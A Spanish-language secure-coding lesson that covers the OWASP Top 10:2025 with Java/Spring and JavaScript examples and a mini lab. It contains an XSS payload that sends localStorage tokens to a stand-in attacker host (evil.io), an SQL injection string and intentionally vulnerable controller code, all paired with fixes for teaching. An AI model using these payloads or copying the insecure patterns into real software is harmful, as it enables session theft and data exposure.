FundamentosLección 06
Vulnerabilidades web que debes conocer
El OWASP Top 10 de 2025 explicado desde el código. Inyección, XSS, control de acceso roto, asignación masiva, SSRF, configuración insegura y cadena de suministro.
Al terminar sabrás
- Ubicar las diez categorías del OWASP Top 10:2025 y qué lección las cubre.
- Prevenir inyección SQL con consultas parametrizadas y XSS con escapado y CSP.
- Detectar IDOR y asignación masiva en controladores reales.
- Reconocer SSRF, errores de configuración y riesgos de la cadena de suministro.
La mayoría de las brechas no usan técnicas exóticas: explotan los mismos errores de siempre, que aparecen una y otra vez en código real. OWASP (Open Worldwide Application Security Project) los agrupa en su Top 10, cuya edición vigente es la de 2025.
El OWASP Top 10:2025 de un vistazo
Sección titulada «El OWASP Top 10:2025 de un vistazo»| # | Categoría | En una frase | Dónde se trata |
|---|---|---|---|
| A01 | Control de acceso roto | Hacer cosas o ver datos que no te corresponden (incluye SSRF) | Autorización |
| A02 | Configuración de seguridad incorrecta | Valores por defecto inseguros, errores verbosos, servicios expuestos | Producción |
| A03 | Fallos en la cadena de suministro | Dependencias vulnerables, comprometidas o sin control | Esta lección |
| A04 | Fallos criptográficos | Datos sin cifrar, algoritmos débiles, claves expuestas | Criptografía |
| A05 | Inyección | Datos que se interpretan como código: SQL, comandos, XSS | Esta lección |
| A06 | Diseño inseguro | El fallo está en el diseño, no en la implementación | Pensar como defensor |
| A07 | Fallos de autenticación | Fuerza bruta, credenciales débiles, sesiones mal gestionadas | Autenticación |
| A08 | Fallos de integridad de software o datos | Confiar en datos o actualizaciones sin verificar | Criptografía |
| A09 | Fallos de registro y alertas | Nadie se entera del ataque | Producción |
| A10 | Mala gestión de condiciones excepcionales | Errores que dejan el sistema abierto o filtran información | Esta lección |
Inyección: cuando los datos se convierten en código
Sección titulada «Inyección: cuando los datos se convierten en código»Evita
// El dato se pega dentro del SQLString sql = "SELECT * FROM notes WHERE owner = '" + user + "' AND title LIKE '%" + q + "%'";List<Note> notes = jdbc.query(sql, mapper);// q = "' OR '1'='1" → devuelve las notas de todosPrefiere
// El SQL y los datos viajan por separadoString sql = "SELECT * FROM notes WHERE owner = ? AND title LIKE ?";List<Note> notes = jdbc.query(sql, mapper, user, "%" + q + "%");Lo mismo aplica a JPA: @Query("... where n.title = :title") con parámetros es seguro; construir JPQL concatenando strings no lo es. Y el mismo principio se aplica a comandos del sistema (ProcessBuilder con una lista de argumentos, nunca sh -c con texto del usuario), LDAP, expresiones SpEL o rutas de ficheros.
XSS: inyección en el navegador
Sección titulada «XSS: inyección en el navegador»Cross-Site Scripting es inyección de HTML/JavaScript en una página que ven otros usuarios. Si un atacante consigue que su script se ejecute en tu dominio, puede hacer todo lo que el usuario puede hacer: leer datos, llamar a tu API con su sesión, robar tokens de localStorage.
- Almacenado: el script se guarda (en un comentario, el nombre de perfil) y se sirve a cada visitante.
- Reflejado: viaja en la URL (
?q=<script>…) y la página lo devuelve. - Basado en DOM: el propio JavaScript del front mete datos no confiables en el DOM.
Evita
// El título de la nota se interpreta como HTMLcard.innerHTML = `<h3>${note.title}</h3>`;// title = '<img src=x onerror="fetch(`//evil.io?c=`+localStorage.token)">'Prefiere
// Se inserta como texto: nunca se ejecutaconst h3 = document.createElement('h3');h3.textContent = note.title;card.replaceChildren(h3);Las defensas, por capas:
- Escapar en la salida según el contexto (HTML, atributo, URL, JavaScript). Los motores modernos lo hacen por defecto: Thymeleaf
th:text, React{valor}, Angular{{valor}}. El peligro está en sus vías de escape:th:utext,dangerouslySetInnerHTML,innerHTML,v-html. - Sanear cuando de verdad necesitas aceptar HTML (un editor enriquecido): una librería como DOMPurify, nunca expresiones regulares propias.
- Content Security Policy como red de seguridad: la cabecera
Content-Security-Policyle dice al navegador de dónde puede cargar scripts. Una política estricta impide ejecutar scripts inyectados aunque se cuelen. - Cookies
HttpOnlypara que un XSS no pueda llevarse la sesión.
Control de acceso roto: IDOR y asignación masiva
Sección titulada «Control de acceso roto: IDOR y asignación masiva»Es la categoría número uno, y casi siempre se reduce a dos errores.
IDOR (Insecure Direct Object Reference): el servidor confía en el id que llega en la petición sin comprobar que el recurso pertenece al usuario.
@GetMapping("/api/notes/{id}")Note get(@PathVariable Long id) { return repo.findById(id).orElseThrow(); // ✗ cualquiera lee cualquier nota}
@GetMapping("/api/notes/{id}")Note get(@PathVariable Long id, Authentication auth) { return repo.findByIdAndOwner(id, auth.getName()) // ✓ solo si es tuya .orElseThrow(() -> new ResponseStatusException(HttpStatus.NOT_FOUND));}Asignación masiva (mass assignment): el servidor copia el JSON entero sobre una entidad, incluidos campos que el usuario no debería controlar.
Evita
// El cliente envía {"username":"eve","password":"…","role":"ADMIN"}@PostMapping("/api/register")User register(@RequestBody User user) { return users.save(user); // ¡role incluido!}Prefiere
// Un DTO con SOLO los campos permitidosrecord RegisterRequest(@NotBlank String username, @Size(min = 15) String password) {}
@PostMapping("/api/register")UserView register(@Valid @RequestBody RegisterRequest req) { return UserView.of(users.create(req.username(), req.password(), Role.USER));}SSRF: que tu servidor haga peticiones por el atacante
Sección titulada «SSRF: que tu servidor haga peticiones por el atacante»Server-Side Request Forgery ocurre cuando tu servidor descarga una URL que elige el usuario (“importa una imagen desde esta URL”, “previsualiza este enlace”, “webhook de destino”). Tu servidor está dentro de tu red y puede llegar a sitios que el atacante no alcanza.
Defensas: lista blanca de dominios o esquemas permitidos, resolver el DNS y rechazar IPs internas (loopback, privadas, link-local), no seguir redirecciones a ciegas, y a nivel de red, impedir que la aplicación salga a destinos que no necesita.
URI uri = URI.create(userUrl);if (!"https".equals(uri.getScheme()) || !ALLOWED_HOSTS.contains(uri.getHost())) { throw new IllegalArgumentException("Destino no permitido");}for (InetAddress ip : InetAddress.getAllByName(uri.getHost())) { if (ip.isLoopbackAddress() || ip.isSiteLocalAddress() || ip.isLinkLocalAddress()) { throw new IllegalArgumentException("Destino interno no permitido"); }}Configuración, cadena de suministro y errores
Sección titulada «Configuración, cadena de suministro y errores»Configuración insegura (A02): credenciales por defecto, stack traces en las respuestas de error, endpoints de administración (Actuator, consolas de base de datos) expuestos a internet, CORS abierto a cualquier origen, cabeceras de seguridad ausentes. Casi siempre se resuelve con revisión y automatización, no con código.
Cadena de suministro (A03): tu aplicación es en un 80–90 % código de terceros. Mantén un inventario de dependencias (SBOM), escanéalas en CI (Dependabot, OWASP Dependency-Check, Snyk), fija versiones, actualiza los parches de seguridad con regularidad y desconfía de paquetes con nombres casi idénticos a los populares (typosquatting).
Mala gestión de excepciones (A10): un catch que devuelve “permitido” cuando algo falla (fallar abierto), un error que revela si un usuario existe, o un mensaje con la consulta SQL completa. Ante un error, el sistema debe fallar cerrado y responder con un mensaje genérico, guardando el detalle solo en el log.
Mini lab · 15 min
Encuentra las vulnerabilidades
Objetivo: Identificar cuatro vulnerabilidades en un controlador real y corregirlas.
@RestControllerclass ProfileController {
@GetMapping("/api/users/{id}") User profile(@PathVariable Long id) { return users.findById(id).orElseThrow(); }
@PutMapping("/api/users/{id}") User update(@PathVariable Long id, @RequestBody User changes) { changes.setId(id); return users.save(changes); }
@GetMapping("/api/users/search") List<User> search(@RequestParam String name) { return jdbc.query("SELECT * FROM users WHERE name LIKE '%" + name + "%'", mapper); }
@ExceptionHandler(Exception.class) ResponseEntity<String> error(Exception e) { return ResponseEntity.status(500).body(e.toString()); }}Encuentra al menos cuatro problemas, di a qué categoría del Top 10 pertenece cada uno y cómo lo corregirías.
Pista
Mira qué devuelve cada método, qué acepta como entrada, cómo construye el SQL y qué ve el cliente cuando algo falla.
Mostrar respuestaOcultar respuesta
- IDOR en
profileyupdate(A01): cualquiera lee o modifica el perfil de cualquier usuario cambiando{id}. Corrige usando la identidad autenticada (/api/me,auth.getName()) o comprobando que el id es el del usuario (o que es admin). - Asignación masiva en
update(A01):@RequestBody Userpermite cambiarrole,enabledo el hash de la contraseña. Usa un DTO de entrada con solo los campos editables. - Exposición de datos (A01): devolver la entidad
Userfiltra el hash de la contraseña y campos internos. Devuelve un DTO de salida. - Inyección SQL en
search(A05): concatenaname. Usa"... LIKE ?"con"%" + name + "%"como parámetro. - Error verboso (A10/A02):
e.toString()puede revelar clases, consultas y rutas internas. Devuelve un mensaje genérico (idealmenteProblemDetail) y registra el detalle en el log. Además, un@ExceptionHandler(Exception.class)genérico puede tragarse los errores de autorización: lo verás en la lección de 401 vs 403.